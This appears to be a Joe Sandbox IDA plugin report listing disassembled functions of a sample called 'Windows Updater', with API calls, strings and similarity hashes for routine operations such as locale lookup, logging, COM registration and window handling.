Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2f4b6e6fe8e7f3e51e9827bdb948d2fc8f842d7edd413e47adb1bb8a9a8d9075
Instruction ID: 1a8e82071841f86d70869ed86b813a52a13580be0cca281fb6af7643283ef308
Opcode Fuzzy Hash: 2f4b6e6fe8e7f3e51e9827bdb948d2fc8f842d7edd413e47adb1bb8a9a8d9075
Instruction Fuzzy Hash: 1AD09E35000509BFCF013F61DD0E9AD3F2BBF80355B189021BB0949131DF359A529A80

Uniqueness

Uniqueness Score: -1.00%

Function 005F82DB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,s__,?,005F98E3,?,00000000,?,005F1A83,00000000,s__,00000004,?,00000000,?,005F5D6D), ref: 005F830D

Strings

s__, xrefs: 005F82E0

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: AllocateHeap
String ID: s__
API String ID: 1279760036-1862337253
Opcode ID: 5404611d7610ee1440b57bcd1999cdeb701aa1c6930607627469cd299ed95f0b
Instruction ID: e5db17b7cde32e829e32463a1402af416654090bea2c2fb14348b28461d63734
Opcode Fuzzy Hash: 5404611d7610ee1440b57bcd1999cdeb701aa1c6930607627469cd299ed95f0b
Instruction Fuzzy Hash: 73E06D35600A2E96DB2127659C0DB7B3E49BF82FA8F590921EE05D71E1DF68EC0082E1

Uniqueness

Uniqueness Score: -1.00%

Function 00600038 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,005F5A17), ref: 0060003B
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,005F5A17), ref: 0060007A

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: d14b801efc9839a391ff0fb93300b9d8ef1af39a8f8c3f435c9bd15bb1278382
Instruction ID: bc568c464d8fb2095b95db453b5e4653df7cd57178cfebb60cf784ce355620b3
Opcode Fuzzy Hash: d14b801efc9839a391ff0fb93300b9d8ef1af39a8f8c3f435c9bd15bb1278382
Instruction Fuzzy Hash: EEE02B3F104A223AE22532793C89BEF0E4ADFC2331B150225F406412C2EE544C4200A0

Uniqueness

Uniqueness Score: -1.00%

Function 005F82A1 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00600D4E,?,00000000,?,?,00600FEF,?,00000007,?,?,0060149A,?,?), ref: 005F82B7
GetLastError.KERNEL32(?,?,00600D4E,?,00000000,?,?,00600FEF,?,00000007,?,?,0060149A,?,?), ref: 005F82C2

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: d52e7e3e7167575fba79af76f9414ae7345b36434f2c053a704d20c2e9a5a9ab
Instruction ID: e36622b8703de328d8ec5e4b24dfbe70cb72aed026c6a1b2bead04296bcfa3cd
Opcode Fuzzy Hash: d52e7e3e7167575fba79af76f9414ae7345b36434f2c053a704d20c2e9a5a9ab
Instruction Fuzzy Hash: 44E0CD36100A04ABCB112FB1EC0D7A63FA9FB44351F188021F608C6071DA359940C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 005DE730 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 0057D310: GetTempPathW.KERNEL32(00000104,?,14058998,?), ref: 0057D35F

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 0057C4A0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,80070057,14058998), ref: 0057C4CD
Part of subcall function 0057C4A0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0057C504

CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00000000), ref: 005DE86C

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ByteCharMultiWide$CreateDirectoryHeapPathProcessTemp
String ID:
API String ID: 488741987-0
Opcode ID: a77be6305d120833c86e9b649d67fad4b6c820501d554080f2770bc38f809cbc
Instruction ID: 7daec98ae72b434476bc1d44145aeef702a43b1fc2ef47dea484a1e975c7f435
Opcode Fuzzy Hash: a77be6305d120833c86e9b649d67fad4b6c820501d554080f2770bc38f809cbc
Instruction Fuzzy Hash: B6419371500649DFDB24EF68DC49B9EBBB8FF44320F14866AE8299B291DB349A04DF50

Uniqueness

Uniqueness Score: -1.00%

Function 005BF880 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000034,00000000,00000000,?,00000000,00000000,80070057,00000000,?,?,00000000,005BF89E), ref: 005BF8AA
GetLastError.KERNEL32(?,?,00000000,005BF89E,00000000,?,?,?,005BFAA1,?,?), ref: 005BF8C5
MapViewOfFile.KERNELBASE(00000000,00000002,00000000,00000000,00000000,?,?,00000000,005BF89E,00000000,?,?,?,005BFAA1,?,?), ref: 005BF8D9
GetLastError.KERNEL32(?,?,00000000,005BF89E,00000000,?,?,?,005BFAA1,?,?), ref: 005BF8E6

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorFileLast$CreateMappingView
String ID:
API String ID: 2231327692-0
Opcode ID: d020f1c1b8a8f3d997716b847cc12807b1d9523e7272fa022ce43c9790c97a4b
Instruction ID: 0dc65c3f767a5de2239b70950aff4bdfa4d7b4bef7a5cd5bc5f09231a3008b8f
Opcode Fuzzy Hash: d020f1c1b8a8f3d997716b847cc12807b1d9523e7272fa022ce43c9790c97a4b
Instruction Fuzzy Hash: C7E06531340622BAE7115B65AC05BC5B764BB48730F104636F620950D1D7B0B6918794

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00598150 Relevance: 44.3, APIs: 16, Strings: 9, Instructions: 508fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,14058998,?), ref: 005981D0
GetLastError.KERNEL32 ref: 005981ED
OutputDebugStringW.KERNEL32(00000000), ref: 0059835E
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005983CF
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 005983FF
FlushFileBuffers.KERNEL32(00000000), ref: 00598404
WriteFile.KERNEL32(00000000,000000B7,?,?,00000000,0062EAFC,00000002), ref: 005984AA
FlushFileBuffers.KERNEL32(00000000), ref: 005984B3
WriteFile.KERNEL32(00000000,?,?,?,00000000,0062EAFC,00000002,?,?,CPU: ), ref: 0059857C
FlushFileBuffers.KERNEL32(00000000), ref: 00598585
WriteFile.KERNEL32(00000000,000000B7,?,?,00000000,0062EAFC), ref: 00598604
FlushFileBuffers.KERNEL32(00000000), ref: 0059860D
OutputDebugStringW.KERNEL32(00000000), ref: 00598260

Part of subcall function 00573430: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 005732F8

Strings

server, xrefs: 00598456, 0059845E
workstation, xrefs: 00598451
CPU: , xrefs: 005984FE, 0059850E
OS Version: %u.%u.%u SP%u (%s) [%s], xrefs: 0059847A
x64, xrefs: 00598444, 00598450
LOGGER->Creating LOG file at:, xrefs: 0059867B, 0059868B
x86, xrefs: 0059843B
LOGGER->failed to create LOG at:, xrefs: 00598224, 00598234
LOGGER->Reusing LOG file at:, xrefs: 0059830F, 0059831F

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: File$BuffersFlushWrite$DebugOutputString$CreateErrorFindLastPointerResource
String ID: CPU: $LOGGER->Creating LOG file at:$LOGGER->Reusing LOG file at:$LOGGER->failed to create LOG at:$OS Version: %u.%u.%u SP%u (%s) [%s]$server$workstation$x64$x86
API String ID: 1898978657-1312762833
Opcode ID: b04cfe0eee3e6924654fb01b67965eae63074a619a147066cdfb864ae86012c0
Instruction ID: 0bde3dd3115b8b80cef0c0fc327df49271ae38c56a1bbcf53896eee87023afb7
Opcode Fuzzy Hash: b04cfe0eee3e6924654fb01b67965eae63074a619a147066cdfb864ae86012c0
Instruction Fuzzy Hash: 1D126D30901606DFDF10DFA8DC49BAEBBB5FF45314F1482A9E815AB2A2DB749D44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00602680 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005F7FB6: GetLastError.KERNEL32(?,00000008,005FF199,?,?,?,?,00000000,?,?,?,005F5CB5), ref: 005F7FBA
Part of subcall function 005F7FB6: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF,?,?,?,?,00000000,?,?,?,005F5CB5), ref: 005F805C

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0060278C
IsValidCodePage.KERNEL32(00000000), ref: 006027D5
IsValidLocale.KERNEL32(?,00000001), ref: 006027E4
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0060282C
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0060284B

Strings

,Kb, xrefs: 006026E5

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,Kb
API String ID: 415426439-2116546604
Opcode ID: 15e7462f4bbaa7563bd61b5050fcc515594ca39d23fc335c24cfb9910fb57300
Instruction ID: 6e1242ba350d2584f722b70e3782378a60230acdb48e8d668eb0f714783fe8d9
Opcode Fuzzy Hash: 15e7462f4bbaa7563bd61b5050fcc515594ca39d23fc335c24cfb9910fb57300
Instruction Fuzzy Hash: 9B519171A4020BABDB18DFA5CC59AFF77BABF48700F044469E905E72D1E7709940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 006024AB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,006027C9,00000002,00000000,?,?,?,006027C9,?,00000000), ref: 00602544
GetLocaleInfoW.KERNEL32(?,20001004,006027C9,00000002,00000000,?,?,?,006027C9,?,00000000), ref: 0060256D
GetACP.KERNEL32(?,?,006027C9,?,00000000), ref: 00602582

Strings

ACP, xrefs: 006024C9
OCP, xrefs: 006024FF

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: bfa0e26347add7538bd1f7b0add5dd505da88be6b29bbaa275480f1387f07ef0
Instruction ID: 92c96106ded143e8ff9e614681cb740104f15ac6736b24fa1fcfc559362242af
Opcode Fuzzy Hash: bfa0e26347add7538bd1f7b0add5dd505da88be6b29bbaa275480f1387f07ef0
Instruction Fuzzy Hash: 7F21C4626C0107A6D73A8F54DC3CAD773A7FF54B54B568024E909D7280E732DE42C754

Uniqueness

Uniqueness Score: -1.00%

Function 0058E370 Relevance: 7.6, APIs: 5, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0058E3BC
GetTickCount.KERNEL32 ref: 0058E3DD
Sleep.KERNEL32(000001F4), ref: 0058E3F5
GetTickCount.KERNEL32 ref: 0058E416

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CountTick$ErrorLastSleep
String ID:
API String ID: 1403765585-0
Opcode ID: 29e57ca459272fa17cc542359e18f89dfaeae8a32b3a5549b19af2f310df0424
Instruction ID: ddc083d5e9e22fa5d3dd8e86d82a67b2e971ca51c5cc1e904ff759b15b63c352
Opcode Fuzzy Hash: 29e57ca459272fa17cc542359e18f89dfaeae8a32b3a5549b19af2f310df0424
Instruction Fuzzy Hash: 3321C332608305DFD310EF25D846A6FFBE8FFD8711F80492AF99896150EB31A9488B52

Uniqueness

Uniqueness Score: -1.00%

Function 005F84EA Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005F8577

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: dd6528ef9dcea44677cf55c1dc1d7078afdd93570a2fa9db4072fa8c39958c87
Instruction ID: 6fb07ae76df4626fbff852fde8f471d701e1ba30876cc580f6e356d6e859f50a
Opcode Fuzzy Hash: dd6528ef9dcea44677cf55c1dc1d7078afdd93570a2fa9db4072fa8c39958c87
Instruction Fuzzy Hash: CEB12832D052599FDB15DF28C8817FEBFA5FF55340F248169EA05EB282DA399D01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 005E87D0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 005E87DC
IsDebuggerPresent.KERNEL32 ref: 005E88A8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 005E88C8
UnhandledExceptionFilter.KERNEL32(?), ref: 005E88D2

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 9b86ace9ae222525368de1d9bded467d8821e4fcb0c68b6209dc4fe773fa948b
Instruction ID: 81da476e6bd18ca90610a8e1ac9247bf199d34a1def3b0e28551b3f8c2ccd503
Opcode Fuzzy Hash: 9b86ace9ae222525368de1d9bded467d8821e4fcb0c68b6209dc4fe773fa948b
Instruction Fuzzy Hash: 00314975D052199BDB10DFA5D989BCCBBF8BF08300F1041AAE44CAB250EB715B85CF05

Uniqueness

Uniqueness Score: -1.00%

Function 005D4420 Relevance: 37.1, APIs: 19, Strings: 2, Instructions: 335sleeplibrarywindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 005D4497
QueryPerformanceFrequency.KERNEL32(0064E920), ref: 005D44DF
QueryPerformanceCounter.KERNEL32(0064E928), ref: 005D44EA

Part of subcall function 005E7DB1: EnterCriticalSection.KERNEL32(0064D654,?,?,00574367,0064E274,0061DF20), ref: 005E7DBB
Part of subcall function 005E7DB1: LeaveCriticalSection.KERNEL32(0064D654,?,?,00574367,0064E274,0061DF20), ref: 005E7DEE
Part of subcall function 005E7DB1: RtlWakeAllConditionVariable.NTDLL ref: 005E7E65

CLSIDFromString.OLE32(00000000,00000000), ref: 005D4556
SysFreeString.OLEAUT32(00000000), ref: 005D4891

Part of subcall function 005E7DFB: EnterCriticalSection.KERNEL32(0064D654,?,?,?,005742F6,0064E274,14058998,?,?,00608EBD,000000FF,?,00571027,14058998,?,0060AACF), ref: 005E7E06
Part of subcall function 005E7DFB: LeaveCriticalSection.KERNEL32(0064D654,?,?,?,005742F6,0064E274,14058998,?,?,00608EBD,000000FF,?,00571027,14058998,?,0060AACF), ref: 005E7E43

SysAllocString.OLEAUT32(?), ref: 005D456B
GetModuleFileNameW.KERNEL32(?,00000104), ref: 005D45B3
LoadTypeLib.OLEAUT32(?,?), ref: 005D45CC
CoRegisterClassObject.OLE32(?,0064E908,00000004,00000004,?), ref: 005D4603
LoadLibraryW.KERNEL32(?,?,Updater-comproxystub.dll), ref: 005D46B7
GetProcAddress.KERNEL32(?,LocalRegisterProxyStub), ref: 005D46DC
CoResumeClassObjects.OLE32(?), ref: 005D4738
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005D4774
DispatchMessageW.USER32(?), ref: 005D4788
Sleep.KERNEL32(00000064), ref: 005D4790
QueryPerformanceCounter.KERNEL32(?), ref: 005D47A1
Sleep.KERNEL32(00000064), ref: 005D47EB
CoRevokeClassObject.OLE32(?), ref: 005D4833
RevokeActiveObject.OLEAUT32(?,00000000), ref: 005D4846

Strings

LocalRegisterProxyStub, xrefs: 005D46D6
Updater-comproxystub.dll, xrefs: 005D464D, 005D465D

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalSection$ClassObjectPerformanceQueryString$CounterEnterLeaveLoadMessageRevokeSleep$ActiveAddressAllocConditionCurrentDispatchFileFreeFrequencyFromLibraryModuleNameObjectsPeekProcRegisterResumeThreadTypeVariableWake
String ID: LocalRegisterProxyStub$Updater-comproxystub.dll
API String ID: 356724846-55047456
Opcode ID: 5fe151909951fffc7327edb674b4a58ebf8f29f378db88e41674fbf28ebef47c
Instruction ID: 0652f803c6e4466e7b6572b1934c1b5e01ad83579d8045c2a85c5530e7f0c168
Opcode Fuzzy Hash: 5fe151909951fffc7327edb674b4a58ebf8f29f378db88e41674fbf28ebef47c
Instruction Fuzzy Hash: 49D1DE70A01249DFDB20CFA8D888B9EBFB6BF05304F14816AE505AB391DB759A45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 005BC450 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 172windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 005BC486
GetParent.USER32(00000000), ref: 005BC489
GetParent.USER32(00000000), ref: 005BC48C
ShowWindow.USER32(00000000,00000001), ref: 005BC491
GetParent.USER32(?), ref: 005BC4AF
GetDlgItem.USER32(?,0000041D), ref: 005BC4D2
ShowWindow.USER32(00000000,00000000), ref: 005BC4DD
GetDlgItem.USER32(?,0000040F), ref: 005BC4EB
SendMessageW.USER32(00000000,00001036,00000000,00004020), ref: 005BC506
SendMessageW.USER32(?,00001061,00000000,?), ref: 005BC56A
SendMessageW.USER32(?,00001061,00000001,0000000F), ref: 005BC5CB
GetDlgItem.USER32(FFFFFFFF,0000041C), ref: 005BC615
GetWindowLongW.USER32(00000000,000000F0), ref: 005BC624
SetWindowLongW.USER32(?,000000F0,00000000), ref: 005BC63F
GetClientRect.USER32(?,?), ref: 005BC64F
SendMessageW.USER32(?,0000101D,00000000,00000000), ref: 005BC664
SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 005BC67F

Strings

d, xrefs: 005BC5B6

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: MessageSend$ParentWindow$Item$LongShow$ClientRect
String ID: d
API String ID: 786800583-2564639436
Opcode ID: 981adfc140c09f2490c71a66d033e940be87f903e0ec825267a607df1cf60edd
Instruction ID: b68351e5cad79b1f0a6a94f1764e8c9b31f5bdf172aa9f13d7b749ad353537b3
Opcode Fuzzy Hash: 981adfc140c09f2490c71a66d033e940be87f903e0ec825267a607df1cf60edd
Instruction Fuzzy Hash: 35616E71A00248EFDB10DFA4CD89B9EBBB5FF48310F14826AE915AB2D5DBB55840CF60

Uniqueness

Uniqueness Score: -1.00%

Function 005A04E0 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 276windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(00000000,000000F0), ref: 005A050D
GetWindowLongW.USER32(00000000,000000F0), ref: 005A0522
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 005A0539

Part of subcall function 00578770: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,005E679F,C000008C,00000001,?,005E67D0,00000000,?,00000000,?,00573D67,00000000,14058998), ref: 0057877C

GetWindowLongW.USER32(00000000,000000EC), ref: 005A0552
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 005A0566
SendMessageW.USER32(00000000,0000007F,00000000,00000000), ref: 005A0574
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 005A0587
IsWindow.USER32(00000000), ref: 005A05A2
DestroyWindow.USER32(00000000), ref: 005A05BE
GetClientRect.USER32(?,?), ref: 005A0616
IsWindow.USER32(00000000), ref: 005A063A
CreateWindowExW.USER32(00000000,SCROLLBAR,00000000,5402001C,?,?,?,?,?,0000E801,00000000), ref: 005A0692
IsWindow.USER32(00000000), ref: 005A069B
GetClientRect.USER32(?,?), ref: 005A0729

Strings

SCROLLBAR, xrefs: 005A068B

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Window$Long$ClientMessageRectSend$CreateDestroyExceptionRaise
String ID: SCROLLBAR
API String ID: 3726670472-324577739
Opcode ID: 518641f355fdf70f8349d0938e81e71b35b08fdd5e600ec745b195d4476c98fb
Instruction ID: a99daa369e4addba6757f76aed12186c2f27752aba54684b20ad8d774526d546
Opcode Fuzzy Hash: 518641f355fdf70f8349d0938e81e71b35b08fdd5e600ec745b195d4476c98fb
Instruction Fuzzy Hash: A6B13570508301AFE710CF28C848B6ABBE5FF8A720F149A2DF595932A1D771E840CF92

Uniqueness

Uniqueness Score: -1.00%

Function 005B8260 Relevance: 25.8, APIs: 17, Instructions: 335COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 005B82A5
GetWindowRect.USER32(00000000,?), ref: 005B82B3
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 005B82E3
InvalidateRect.USER32(00000000,00000000,00000001), ref: 005B85D8
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014), ref: 005B8601

Memory Dump Source

